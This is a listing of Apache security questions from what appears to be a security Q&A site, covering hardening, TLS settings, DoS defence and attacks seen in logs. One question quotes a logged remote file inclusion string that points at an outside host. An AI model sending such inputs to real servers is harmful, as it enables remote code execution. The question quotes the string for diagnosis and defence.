Questions about the security of Apache open source software, especially Apache HTTP Server
61
votes
12answers
10k views
Apache Server Hardening
What are some best practices, recommendations, required reading for securing an Apache Server?
29
votes
9answers
1k views
Use additional “password” in Referer to hide private site?
I have a private (= I'm the only user) site at example.com/private/. Nothing else is published at this host (it's my domain).
I don't want anyone to know that there is anything at example.com, ...
19
votes
7answers
4k views
Can I detect web app attacks by viewing my Apache log file?
I occasionally get clients requesting I look at their access_log file to determine if any web attacks were successful. What tools are helpful to discern attacks?
13
votes
3answers
4k views
Is there a way to mitigate BEAST without disabling AES completely?
It seems that the easiest way to protect users against the BEAST attack on TLS <= 1.0 is to prefer RC4 or even disable all other (CBC) cipher suites altogether, e.g. by specifying something like
...
12
votes
2answers
514 views
PHP attack string in access logs
So one of the Invision Power Board installations on my server was recently compromised. I found what seemed to be the attack (using PHP in the query string and carefully crafted cookies), and I ...
10
votes
4answers
796 views
Can .htaccess and .htpasswd really protect me?
I want to set up a kind of personal wiki where I can store various sensitive information. However to make it 100% portable and and just plain convineant, I want to put it on the Internet. I'm sure at ...
10
votes
2answers
961 views
Security implications of having files owned by the apache user?
Currently running a LAMP instance that developers are using for a variety of webapps. I have the following scenario:
Multiple developers need access to create and modify files under ...
9
votes
5answers
572 views
Apache/Linux server, DoS attack from own IP
I have an unusual problem I've been trying to diagnose for a while:
It's about a Debian server running a custom compile of apache 2.2 with PHP, Red5, MySQL 5.5 (standard binary), sendmail (distro ...
8
votes
4answers
3k views
How safe is it to install XAMPP on my home computer to test PHP code?
I want to test some PHP code and I figure the best way is to install XAMPP - but I'm nervous about installing server software on my home computer.
Is it generally safe to install XAMPP (given that I ...
8
votes
4answers
770 views
Combat Apache Killer
Three days ago, KingCope released a simple Perl script to DoS Apache, aptly named Apache Killer.
This script launches about 50 threads to request Partial Content from the server with optional GZIP ...
8
votes
2answers
627 views
HSTS extra security over HTTPS
Is HSTS good to use even if my servers are configured to use HTTPS (Even if HTTP is used, the rewrite rules in apache makes it to HTTPS)
Also does HSTS make even the resources like CSS, images to be ...
7
votes
4answers
2k views
Protecting against DOS attacks
Our current site is easily DOS'd. I can perform an AB test against it from Apache and it disappears for about 5-10 minutes. We have been having problems with others DOSing the site - to the point ...
7
votes
2answers
1k views
Securing my web-server / website [closed]
Does anyone know of a comprehensive security guide about important basics / fundamentals which should be done to secure a web-server / website? A web link would do.
7
votes
1answer
673 views
Experience with a recent DDoS attack on Apache
I originally posted a question here since I was not familiar with an actual distributed denial of service attack (DDoS) on my server. I noticed that my server is very slow in responding to HTTP ...
7
votes
5answers
1k views
Master thesis topic - mod_security
I've been playing with mod_security for some time and I'd like somehow to use it in my master thesis. I don't know exactly how this work could be more interesting than describing what mod_security ...
7
votes
1answer
2k views
How to secure a ActiveMQ?
Does anybody have experience with securing/hardening ActiveMQ?
Check lists or guides would be welcome.
6
votes
3answers
393 views
Is displaying what server I am running on the error pages a security risk?
I just noticed that my 403 Forbidden (the default, not a custom one) page displays some server info:
Apache/2.2.3 (Red Hat) Server at ... Port 80
Is revealing this information a security risk?
6
votes
2answers
2k views
Implications of Trace/Track Methods on Apache
When performing vulnerability scans using Nessus, against a host running Apache, one expected result is always "HTTP TRACE / TRACK Methods Allowed". While this result only has a base CVSS of 4.3, I ...
6
votes
1answer
98 views
Is enabling PHP script execution on HTML document file extensions a security concern?
I am working on a very old and messy site, which doesn't have a CMS, or a database. However, it has a lot of .htm and .php files. I need to add some PHP code to some of the .htm files, but want to ...
6
votes
2answers
128 views
HTTP daemon and Webroot permissions
We have a contracted web developer that uses deployment scripts to update and deploy web sites. In order for them to work they require write access to the whole webroot through the httpd user.
I have ...
5
votes
3answers
158 views
Does disabling .htaccess improve security?
I have a new WordPress website that has been installed on a server not managed by me. Its admin has enforced a few rules in order to increase security, I'm not entirely aware of its entirety but it ...
5
votes
1answer
585 views
What on earth is this log entry in Apache?
error.log - Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8g mod_fastcgi/2.4.6 mod_fcgid/2.3.4
[Mon Oct 10 22:35:18 2011] [error] [client 91.212.226.95] (36)File name too long: access to ...
5
votes
2answers
7k views
How to mitigate SSL/TLS Protocol Initialization Vector Implementation Information Disclosure Vulnerability?
Disclaimer: I'm not a sysadmin, please try to give your answers in developer friendly language ;)
I'm test scanning a fresh VPS image with Nessus and I'm getting plugin 58751. I tried figuring out ...
5
votes
3answers
217 views
How to block an IP, if getting many http requests in a second
If some one tried force burst attack on my website, how can I block them?
I mean, I want to block an IP if I have many http/Apache requests in a second.
Thanks in advance.
5
votes
1answer
166 views
Using sudo to secure git deployment via web script
I'm setting up a server to do automatic deployment from a Bitbucket git repository, using Bitbucket's postback facility.
Briefly, how it works it:
I commit to Bitbucket
Bitbucket POSTs to a ...
4
votes
2answers
956 views
How to get site's 'real' URL (before being rewritten)
If a site uses .htaccess file to rewrite the URL for e.g. better SEO. Is it possible to find out what is the "real" URL?
4
votes
2answers
150 views
Chrome does not show green bar with EV SSL but firefox and IE does
I just installed a EV SSL certificate on my server. It has been done correctly and is working, the issue is that Chrome does not show the company name in the green address bar, just shows the green ...
4
votes
3answers
313 views
Is a forced rewrite from http to https secure? What does SSLRequireSSL add?
I've read contradicting advice about forcing https connections in the following way:
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}
To me it seems ...
4
votes
1answer
414 views
172.16.33.197, 127.0.0.1 IP addresses in visitor logs
I have a website running Apache and PHP. I see that there are visitors with IP addresses 172.16.33.197 and 127.0.0.1. These addresses do not belong to our network. I get the visitor IP addresses with ...
4
votes
4answers
751 views
Server wide javascript injection
UPDATE: The server was rooted, php.ini was replaced that cause the injection to appear. Still haven't figured out which directive is injecting the javascript.
I'm troubleshooting a hacked website ...
4
votes
4answers
299 views
How to secure test/dev environments from outside world?
I would like to set up a security barrier to my test/dev environments. I'm under a more or less typical LAMP on dedicated servers.
Thing is, I have some facebook apps, a widget for other devices, and ...
4
votes
3answers
292 views
Server root attack?
Someone in Hungary tried something odd recently:
/?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt?
This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
4
votes
1answer
427 views
Does installing Apache on my local machine create new security risks?
I am developing a small LAMP online app, and so far I have been doing all the development online.
I am considering installing Apache/PHP/MySQL on my Ubuntu machine to be able to develop locally as ...
4
votes
1answer
181 views
Are we under hacker control?
We have a Web Server that mount Centos. Onto that WS there is an Apache (version 2.2.3) and some sites.
You can log on only if you have a certificate (for root user) or via ftp (a restricted ...
4
votes
1answer
174 views
Securely Store Credentials for Web Application Services in Apache
We are running a web application in python using wsgi with apache2, and must submit to a penetration test. The testers will be exploring the potential for damage if the attackers gain shell access as ...
4
votes
2answers
108 views
Security implications of storing email attachments on Centos Server
There is an application I am working on which requires processing the incoming mails to cs@company.com.
The company.com mail accounts are being run via Google Apps for Business.
So I fetch the ...
3
votes
5answers
2k views
Testing for HTTP TRACE method
How can I test for HTTP TRACE on my web-server?
I need to train a Tester how to verify that the HTTP TRACE method is disabled.
Ideally I need a script to paste into Firebug to initiate a https ...
3
votes
4answers
282 views
Safari downloaded my php source once. Should I worry?
I uploaded via ftp, then typed in the URL of the script to Safari; Safari downloaded the source!!
This hosting site has never done that before - .php scripts have always executed.
I can't duplicate ...
3
votes
1answer
431 views
Blacklist IP addresses based on number of 404s in Apache
I'm getting a lot of hackers spamming my domain with requests for files that just don't exist. This is eating up a lot of my allotted bandwidth and I'd like to blacklist these IP addresses.
Is there ...
3
votes
4answers
181 views
Generic defense againt SQL injection
This is a little bit of a rant, but there's a real question at the end.
I recently installed a new perl script on a site (which will remain nameless) which failed mysteriously with an error 403. ...
3
votes
2answers
99 views
Securing Java web services called by web site in DMZ using web services for communication
Suppose you have an application running Java web services in Apache Axis 2. Specifically, these are JAX-WS (Java API for XML-Based Web Services). Currently these web services are on the same Windows ...
3
votes
2answers
378 views
How to counter or fix banner grabbing vulnerability
During an audit i came across banner grabbing findings,and would like to know how to mitigate that on IIS and apache server.
3
votes
2answers
152 views
Shared hosting mail server, Thunderbird and encryption
In spite of much searching on the internet, I can't really get an adequate understanding of this topic, perhaps because it combines multiple elements. As a result, I'm really worried about the state ...
2
votes
3answers
708 views
HTTPS Apache2 Information Leakage
Hello IT Security!
I have Apache2 vhost with HTTPS listening on port 443, ie. https:// securesecret.com.
I have another vhosts with HTTP listening on port 80, ie. http:// one.com, http:// two.com.
...
2
votes
1answer
178 views
Does this htaccess snippet provide sufficient security?
I've downloaded a part of .htaccess to prevent from using base64_encode or <script> or _REQUEST within URL. Is this secure enough to help me out for partial security, or is it just a waste of ...
2
votes
2answers
374 views
Allow apache to write to users' .ssh dir's
I know the title is just baiting the "your setup is insecure", but allow me to explain.
I'm working on an application which aims to allow clients to rsync over SSH to our server. We need a web ...
2
votes
2answers
427 views
Writing files in a sub folder of the web folder (apache security)
I need to save session data for a dynamic web page script by writing to file. I have two questions:
Are there any security preferences as to whether to save the data UNDER the web folder, or OUTSIDE ...
2
votes
1answer
59 views
Use Client Certificate using Self Signed CA while using Web Certificate of a publicly trusted CA
I would like to ask if it is possible to use different CA for the client certificate and the web certificate?
For example, I would use Verisign to sign my web certificate while I use my Self Sign ...
2
votes
2answers
178 views
How to properly secure OO PHP CMS?
I have OO PHP application which serves pages as well it does payment card processing via external RBS payment gateway. There is also reporting database. The problem is when somebody exploits this PHP, ...
2
votes
1answer
479 views
Mod Security for apache2 blocks curl!
I'm trying to get my users lat and lng from their address using google's geocoding api but when mod security is enabled it prevents it and the script timesout. How can I add an exception by ip or ...
